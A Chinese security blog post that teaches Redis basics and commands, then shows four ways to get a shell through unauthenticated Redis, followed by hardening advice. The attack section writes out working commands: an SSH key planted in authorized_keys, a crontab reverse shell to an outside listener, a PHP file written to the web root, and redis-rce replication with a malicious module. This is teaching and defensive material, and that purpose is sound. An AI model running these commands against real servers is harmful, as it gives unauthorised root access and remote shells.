Redis与getshell

0x00 前言

本文主要介绍redis技术是什么,有什么优势,有什么缺点。接着会从安全渗透的角度,剖析其存在的安全隐患,四种getshell的利用方式和防护策略。

0x01 Redis简介

1.1 Redis为什么诞生

首先,Redis是NoSQL的典型案例之一。那么为什么SQL(关系型数据库)用的好好的,突然出现一个NoSQL呢?

在Web应用发展的初期,那时关系型数据库受到了较为广泛的关注和应用,原因是因为那时候Web站点基本上访问和并发不高、交互也较少。而在后来,随着访问量的提升,使用关系型数据库的Web站点多多少少都开始在性能上出现了一些瓶颈,而瓶颈的源头一般是在磁盘的I/O上。而随着互联网技术的进一步发展,各种类型的应用层出不穷,这导致在当今云计算、大数据盛行的时代,对性能有了更多的需求,主要体现在以下四个方面:

  1. 低延迟的读写速度:应用快速地反应能极大地提升用户的满意度
  2. 支撑海量的数据和流量:对于搜索这样大型应用而言,需要利用PB级别的数据和能应对百万级的流量
  3. 大规模集群的管理:系统管理员希望分布式应用能更简单的部署和管理
  4. 庞大运营成本的考量:IT部门希望在硬件成本、软件成本和人力成本能够有大幅度地降低

为了克服这一问题,NoSQL应运而生,它同时具备了高性能、可扩展性强、高可用等优点,受到广泛开发人员和仓库管理人员的青睐。

1.2 Redis是什么

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

  • 基于内存运行,性能高效
  • 支持分布式,理论上可以无限扩展
  • key-value存储系统
  • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

相比于其他数据库类型,Redis具备的特点是:

  • C/S通讯模型
  • 单进程单线程模型
  • 丰富的数据类型
  • 操作具有原子性
  • 持久化
  • 高并发读写
  • 支持lua脚本

哪些大厂在使用Redis?

  • github
  • twitter
  • 微博
  • Stack Overflow
  • 阿里巴巴
  • 百度
  • 美团
  • 搜狐

1.3 Redis应用场景

Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。

0x02 Redis基础知识

2.1 Redis的数据类型

五种自有数据类型:String类型、哈希类型、列表类型、集合类型和顺序集合类型。

String类型

不仅能够存储字符串、还能存储图片、视频等多种类型, 最大长度支持512M。

对每种数据类型,Redis都提供了丰富的操作命令,如:

  • GET/MGET
  • SET/SETEX/MSET/MSETNX
  • INCR/DECR
  • GETSET
  • DEL

哈希类型hash

该类型是由field和关联的value组成的map。其中,field和value都是字符串类型的。

Hash的操作命令如下:

  • HGET/HMGET/HGETALL
  • HSET/HMSET/HSETNX
  • HEXISTS/HLEN
  • HKEYS/HDEL
  • HVALS

列表类型list:

该类型是一个插入顺序排序的字符串元素集合, 基于双链表实现。

List的操作命令如下:

  • LPUSH/LPUSHX/LPOP/RPUSH/RPUSHX/RPOP/LINSERT/LSET
  • LINDEX/LRANGE
  • LLEN/LTRIM

集合类型set:

Set类型是一种无顺序集合, 它和List类型最大的区别是:集合中的元素没有顺序, 且元素是唯一的。

Set类型的底层是通过哈希表实现的,其操作命令为:

  • SADD/SPOP/SMOVE/SCARD
  • SINTER/SDIFF/SDIFFSTORE/SUNION

Set类型主要应用于:在某些场景,如社交场景中,通过交集、并集和差集运算,通过Set类型可以非常方便地查找共同好友、共同关注和共同偏好等社交关系。

2.2 Redis特性

Redis特性1:事务

  • 命令序列化,按顺序执行
  • 原子性
  • 三阶段: 开始事务 - 命令入队 - 执行事务
  • 命令:MULTI/EXEC/DISCARD

Redis特性2:发布订阅(Pub/Sub)

  • Pub/sub是一种消息通讯模式
  • Pub发送消息, Sub接受消息
  • Redis客户端可以订阅任意数量的频道
  • “fire and forgot”, 发送即遗忘
  • 命令:Publish/Subscribe/Psubscribe/UnSub

  

Redis特性3:Stream

  • Redis 5.0新增
  • 等待消费
  • 消费组(组内竞争)
  • 消费历史数据
  • FIFO

2.3 Redis的命令

最详细的命令还是要参考手册

2.3.1 Redis连接

本地连接

确定本地redis服务启动后。启动 redis 客户端,打开终端并输入命令 redis-cli。该命令会连接本地的 redis 服务。

./redis-server		# 启动redis服务

./redis-cli # 启动redis客户端,连接本地服务
127.0.0.1:6379> PING # 测试redis的连通性
PONG

远程连接

$ redis-cli -h host -p port -a password

2.3.2 获取Redis信息

INFO		# 查看信息
# Server
redis_version:6.0.6
...

KEYS * # 看所有键
1) "key"
2) "key-with-expire-time"

flushall # 删除所有数据库内容

flushdb # 刷新数据库

config set dir dirpath 设置路径等配置

config get dir/dbfilename 获取路径及数据配置信息
1) "dir"
2) "/usr/local/redis/src"

2.3.3 String 类型命令

String 介绍稍微详细一点,其他的也是类似的,所以就简单介绍。

SET 系列

  1. SET key value [EX seconds] [PX milliseconds] [NX|XX]

    将字符串值 value 关联到 key

    如果 key 已经持有其他值, SET 就覆写旧值, 无视类型。

  2. SETNX key value

    只在键 key 不存在的情况下, 将键 key 的值设置为 value

    若键 key 已经存在, 则 SETNX 命令不做任何动作。

    SETNX 是『SET if Not eXists』(如果不存在,则 SET)的简写。

  3. SETEX key seconds value

    将键 key 的值设置为 value , 并将键 key 的生存时间设置为 seconds 秒钟。

    如果键 key 已经存在, 那么 SETEX 命令将覆盖已有的值。

对不存在的键进行设置:
redis> SET key "value"
OK
redis> GET key
"value"

对已存在的键进行设置:
redis> SET key "new-value"
OK
redis> GET key
"new-value"

使用 EX 选项:将键的过期时间设置为 seconds 秒。
redis> SET key-with-expire-time "hello" EX 10086
OK
redis> GET key-with-expire-time
"hello"
redis> TTL key-with-expire-time
(integer) 10069

使用 PX 选项:将键的过期时间设置为 milliseconds 毫秒。
redis> SET key-with-pexpire-time "moto" PX 123321
OK
redis> GET key-with-pexpire-time
"moto"
redis> PTTL key-with-pexpire-time
(integer) 111939


使用 NX 选项:只在键不存在时, 才对键进行设置操作
redis> SET not-exists-key "value" NX
OK # 键不存在,设置成功
redis> GET not-exists-key
"value"
redis> SET not-exists-key "new-value" NX
(nil) # 键已经存在,设置失败
redis> GEt not-exists-key
"value" # 维持原值不变


使用 XX 选项:只在键已经存在时, 才对键进行设置操作
redis> EXISTS exists-key
(integer) 0
redis> SET exists-key "value" XX
(nil) # 因为键不存在,设置失败
redis> SET exists-key "value"
OK # 先给键设置一个值
redis> SET exists-key "new-value" XX
OK # 设置新值成功
redis> GET exists-key
"new-value"

GET系列

GET key: 如果键 key 不存在, 那么返回特殊值 nil ; 否则, 返回键 key 的值。

如果键 key 的值并非字符串类型, 那么返回一个错误, 因为 GET 命令只能用于字符串值。

GETSET key value: 将键 key 的值设为 value , 并返回键 key 在被设置之前的旧值。

edis> GETSET db mongodb    # 没有旧值,返回 nil
(nil)

redis> GET db
"mongodb"

redis> GETSET db redis # 返回旧值 mongodb
"mongodb"

redis> GET db
"redis"

APPEND key value

如果键 key 已经存在并且它的值是一个字符串, APPEND 命令将把 value 追加到键 key 现有值的末尾。

如果 key 不存在, APPEND 就简单地将键 key 的值设为 value , 就像执行 SET key value 一样。

追加 value 之后, 返回键 key 的值的长度。

对不存在的 key 执行 APPEND :

redis> EXISTS myphone # 确保 myphone 不存在
(integer) 0
redis> APPEND myphone "nokia" # 对不存在的 key 进行 APPEND ,等同于 SET myphone "nokia"
(integer) 5 # 字符长度

对已存在的字符串进行 APPEND :

redis> APPEND myphone " - 1110" # 长度从 5 个字符增加到 12 个字符
(integer) 12
redis> GET myphone
"nokia - 1110"

STRLEN key

返回键 key 储存的字符串值的长度。

获取字符串值的长度:

redis> SET mykey "Hello world"
OK
redis> STRLEN mykey
(integer) 11

不存在的键的长度为 0

redis> STRLEN nonex

APPEND key value

如果键 key 已经存在并且它的值是一个字符串, APPEND 命令将把 value 追加到键 key 现有值的末尾。

如果 key 不存在, APPEND 就简单地将键 key 的值设为 value , 就像执行 SET key value 一样。

SETRANGE key offset value

redis> SET greeting "hello world"
OK

redis> SETRANGE greeting 6 "Redis"
(integer) 11

redis> GET greeting
"hello Redis"

GETRANGE key start end

返回键 key 储存的字符串值的指定部分, 字符串的截取范围由 startend 两个偏移量决定 (包括 startend 在内)。

负数偏移量表示从字符串的末尾开始计数, -1 表示最后一个字符, -2 表示倒数第二个字符, 以此类推。

GETRANGE 通过保证子字符串的值域(range)不超过实际字符串的值域来处理超出范围的值域请求。

类似SubStr命令。

redis> SET greeting "hello, my friend"
OK
redis> GETRANGE greeting 0 4 # 返回索引0-4的字符,包括4。
"hello"
redis> GETRANGE greeting -1 -5 # 不支持回绕操作
""
redis> GETRANGE greeting -3 -1 # 负数索引
"end"
redis> GETRANGE greeting 0 -1 # 从第一个到最后一个
"hello, my friend"
redis> GETRANGE greeting 0 1008611 # 值域范围不超过实际字符串,超过部分自动被符略
"hello, my friend"

MSET key value [key value …]

同时对多个键进行设置:

redis> MSET date "2012.3.30" time "11:00 a.m." weather "sunny"
OK

redis> MGET date time weather
1) "2012.3.30"
2) "11:00 a.m."
3) "sunny"

覆盖已有的值:

redis> MGET k1 k2
1) "hello"
2) "world"

redis> MSET k1 "good" k2 "bye"
OK

redis> MGET k1 k2
1) "good"
2) "bye"

MGET key [key …]

返回给定的一个或多个字符串键的值。

如果给定的字符串键里面, 有某个键不存在, 那么这个键的值将以特殊值 nil 表示。

redis> SET redis redis.com
OK

redis> SET mongodb mongodb.org
OK

redis> MGET redis mongodb
1) "redis.com"
2) "mongodb.org"

redis> MGET redis mongodb mysql # 不存在的 mysql 返回 nil
1) "redis.com"
2) "mongodb.org"
3) (nil)

DEL key

删除key对应的键值数据。

2.3.4 hash类型命令

类似一个对象或者结构体。

应用场景:

我们要存储一个用户信息对象数据,其中包括用户ID、用户姓名、年龄和生日,通过用户ID我们希望获取该用户的姓名或者年龄或者生日;

实现方式:

Redis的Hash实际是内部存储的Value为一个HashMap,并提供了直接存取这个Map成员的接口。如图所示,Key是用户ID, value是一个Map。这个Map的key是成员的属性名,value是属性值。这样对数据的修改和存取都可以直接通过其内部Map的Key(Redis里称内部Map的key为field), 也就是通过 key(用户ID) + field(属性标签) 就可以操作对应属性数据。

如图所示:

常用命令

  • hget hash field
  • hset hash field value
  • hgetall hash
  • hmset key field value [f v…]
  • HKEYS key
127.0.0.1:6379[4]> HSET 1 name "V0WKeep3r" brith 1998 age 22
(integer) 3

127.0.0.1:6379[4]> Hget 1 name
"V0WKeep3r"

127.0.0.1:6379[4]> hgetall 1
1) "name"
2) "V0WKeep3r"
3) "brith"
4) "1998"
5) "age"
6) "22"

127.0.0.1:6379[4]> hkeys 1
1) "name"
2) "brith"
3) "age"

2.3.5 List类型命令

LPUSH key value [value …] 插入元素创建列表

将一个或多个值 value 插入到列表 key 的表头

如果有多个 value 值,那么各个 value 值按从左到右的顺序依次插入到表头: 比如说,对空列表 mylist 执行命令 LPUSH mylist a b c ,列表的值将是 c b a ,这等同于原子性地执行 LPUSH mylist aLPUSH mylist bLPUSH mylist c 三个命令。

如果 key 不存在,一个空列表会被创建并执行 LPUSH 操作。

key 存在但不是列表类型时,返回一个错误。

RPUSH key value [value …] 向表尾插入元素

不存在也会新建空列表。

LPOP key 移除并返回列表头元素

RPOP key移除并返回列表尾元素

LSET key index value 设置列表元素

将列表 key 下标为 index 的元素的值设置为 value 。当 index 参数超出范围,或对一个空列表( key 不存在)进行 LSET 时,返回一个错误。

LLEN key 获取列表长度

LINDEX key index 通过索引获取列表元素

LRANGE key start stop 返回区间中的元素

返回列表 key 中指定区间内的元素,区间以偏移量 startstop 指定。

下标(index)参数 startstop 都以 0 为底,也就是说,以 0 表示列表的第一个元素,以 1 表示列表的第二个元素,以此类推。

你也可以使用负数下标,以 -1 表示列表的最后一个元素, -2 表示列表的倒数第二个元素,以此类推。

LINSERT key BEFORE|AFTER pivot value 插入元素

将值 value 插入到列表 key 当中,位于值 pivot 之前或之后。

pivot 不存在于列表 key 时,不执行任何操作。

key 不存在时, key 被视为空列表,不执行任何操作。

如果 key 不是列表类型,返回一个错误。

举例

127.0.0.1:6379[4]> llen list
(integer) 0
127.0.0.1:6379[4]> Lpush list "V0W" "V0WKeep3r" "noob"
(integer) 3
127.0.0.1:6379[4]> Rpush list "Rookie"
(integer) 4
127.0.0.1:6379[4]> Lrange list 0 -1
1) "noob"
2) "V0WKeep3r"
3) "V0W"
4) "Rookie"
127.0.0.1:6379[4]> LPOP list
"noob"
127.0.0.1:6379[4]> RPOP list
"Rookie"
127.0.0.1:6379[4]> Lset list 1 Great
OK
127.0.0.1:6379[4]> LLen list
(integer) 2
127.0.0.1:6379[4]> Lindex list 0
"V0WKeep3r"
127.0.0.1:6379[4]> Linsert list after "Great" "Hacker"
(integer) 3
127.0.0.1:6379[4]> Lrange list 0 -1
1) "V0WKeep3r"
2) "Great"
3) "Hacker"

2.3.6 Set类型命令

SADD key member [member …] 添加元素到集合

将一个或多个 member 元素加入到集合 key 当中,已经存在于集合的 member 元素将被忽略。

假如 key 不存在,则创建一个只包含 member 元素作成员的集合。

key 不是集合类型时,返回一个错误。

SPOP key 移除并返回集合中的一个随机元素

**SREM key member [member …] **

移除集合 key 中的一个或多个 member 元素,不存在的 member 元素会被忽略。当 key 不是集合类型,返回一个错误。

SMEMBERS key 返回集合中的所有成员

SINTER key [key …] 交集

返回一个集合的全部成员,该集合是所有给定集合的交集。不存在的 key 被视为空集。当给定集合当中有一个空集时,结果也为空集(根据集合运算定律)。

SUNION key [key …] 并集

SDIFF key [key …] 差集

举例

127.0.0.1:6379[4]> SADD students "olivia" "V0WKeep3r"
(integer) 2
127.0.0.1:6379[4]> SADD hackers "V0WKeep3r" "p0" "kingkk" "phithon"
(integer) 4
127.0.0.1:6379[4]> Spop hackers 2
1) "kingkk"
2) "V0WKeep3r"
127.0.0.1:6379[4]> SMembers hackers
1) "phithon"
2) "p0"
127.0.0.1:6379[4]> Srem hackers "p0"
(integer) 1
127.0.0.1:6379[4]> SADD hackers "p0" "kingkk" "V0WKeep3r"
(integer) 3
127.0.0.1:6379[4]> Smembers hackers
1) "phithon"
2) "V0WKeep3r"
3) "p0"
4) "kingkk"
127.0.0.1:6379[4]> SUNION hackers students
1) "p0"
2) "V0WKeep3r"
3) "kingkk"
4) "olivia"
5) "phithon"
127.0.0.1:6379[4]> SINTER hackers students
1) "V0WKeep3r"
127.0.0.1:6379[4]> SDIFF hackers students
1) "phithon"
2) "p0"
3) "kingkk"

0x03 Redis 在渗透测试中的利用

3.1 Redis未授权访问

redis-4.0.10 之前的版本 Redis服务默认时没有密码验证的,而且默认将redis绑定到0.0.0.0:6379,部分DBA在配置时不注意,同时也没有采用添加防火墙等安全策略,将会导致Redis服务直接暴露到公网。

其他用户和攻击者可以在未授权的情况下,可以直接对redis进行访问,并进行操作。

redis-4.0.10 之后的版本 默认开启了保护模式,仅允许本地无密码验证连接。如果再想利用,可能就要考虑弱口令和配置错误了。

Redis未授权漏洞常见的漏洞利用方式:

  • Windows下,绝对路径写webshell 、写入启动项。
  • Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。

3.2 信息泄漏

通过上述Redis命令来获取信息。

INFO		# 查看信息
# Server
redis_version:6.0.6
...

KEYS * # 看所有键
1) "key"
2) "key-with-expire-time"

flushall # 删除所有数据库内容

flushdb # 刷新数据库

config set dir dirpath 设置路径等配置

config get dir/dbfilename 获取路径及数据配置信息
1) "dir"
2) "/usr/local/redis/src"

3.3 Redis getshell

3.3.1 利用Redis写公钥 进行ssh连接

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

ssh-keygen -t rsa
#生成ssh公钥和私钥

(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt
# 这里的换行符是防止密钥数据和其他的 redis 缓存数据混合

cat /root/.ssh/key.txt | ./redis-cli -h xxx.xxx.xxx.xxx -p 6379 -x set key
# 将公钥写入redis,也可以通过连接redis再写,这里直接用管道写入了。


config set dir /root/.ssh
config set dbfilename authorized_keys
# 改变 redis 的 RDB 目录以及文件为 /root/.ssh/authorized_keys

save
# 存盘,就会将ssh公钥保存到/root/.ssh/auuthorized_keys

将ssh公钥写入redis的键值

发现服务器已经被写入ssh公钥

服务器被写入ssh公钥

通过ssh私钥连接到服务器,getshell。

通过ssh私钥连接到服务器

3.3.2 利用Redis 写 crontab任务反弹shell

通过redis写键值,值由上一方法的ssh公钥变成crontable定时任务。定时任务的内容就是一个反弹shell的命令。然后保存到/var/spool/cron/root

/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。

set poc2 "\n\n*/1 * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/23333 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

理论上,我们的数据应该像写ssh时一样,较为完好的保存,并每过一分钟执行。

事实上,我在测试此方法时,并没有成功,在任务写入/cron/root的过程中,似乎出现了错误,或者乱码。最终我的poc2,在/cron/root中的内容保存成这个样子:

[root@centos-7 cron]# crontab -l
REDIS0007� redis-ver3.2.12�
redis-bits�@�ctime�V�4_used-mem�f
��poc2�8=

*/1 *�bash -i >& /dev/tcp/182.9`102/23 0>&1


���e;�8L

监听地址:

redis服务:CentOS7 redis3.2.12  虚拟机
攻击机: MACOS 10.15
VPS: 阿里云 ECS CentOS7

暂时不知道是什么原因导致的==、

这一点很奇怪,困扰我很久==、

于是尝试使用另一个地址,使用攻击机监听,结果成了==、

poc4>

*/1 * * * * /bin/bash -i>&/dev/tcp/10.211.55.2/23333 0>&1

3.3.3 利用Redis 写webshell

和前两个思路一样。

通过redis写键值,值变成一句话木马等。然后保存到/var/www/html或是其他web目录。

> config set dir /var/www/html
OK
> config set dbfilename redis_shell.php
OK
> keys *
1) "hacker"
> del hacker
(integer) 1
> set shell "<?php phpinfo();?>"
OK
> save

之后webshell文件就写入了web目录,就可以getshell了。

3.3.4 利用Redis主从复制getshell

基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave),这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性,等待被探索。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

利用条件: Redis 4.x/5.x

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

Bypass师傅0rz 分析过该漏洞的原理:Redis主从复制getshell技巧

0x04 Redis安全防御

  1. 禁用高危命令

    在 redis.conf 文件中直接将危险命令置空,或者改变其名字

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    或者

    rename-command FLUSHALL "name1"
    rename-command CONFIG "name2"
    rename-command EVAL "name3"
  2. 以低权限运行 Redis 服务

    redis默认使用用户权限启动的,降权可以避免getshell后直接root
    groupadd -r redis
    useradd -r -g redis redis
  3. 为 Redis 添加密码验证

    修改 redis.conf 文件,添加

    requirepass mypassword
  4. 做好访问控制,在不需要接外网时,就bind本地。

    修改 redis.conf 文件:
    bind 127.0.0.1
  5. 修改默认端口

  6. 设置隐藏文件属性,不允许修改authorized_keys

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
    chattr +i ~/.ssh
  7. 设置防火墙策略,只允许特定IP连接

0xFF 参考链接

文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/08/05/Redis-getshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏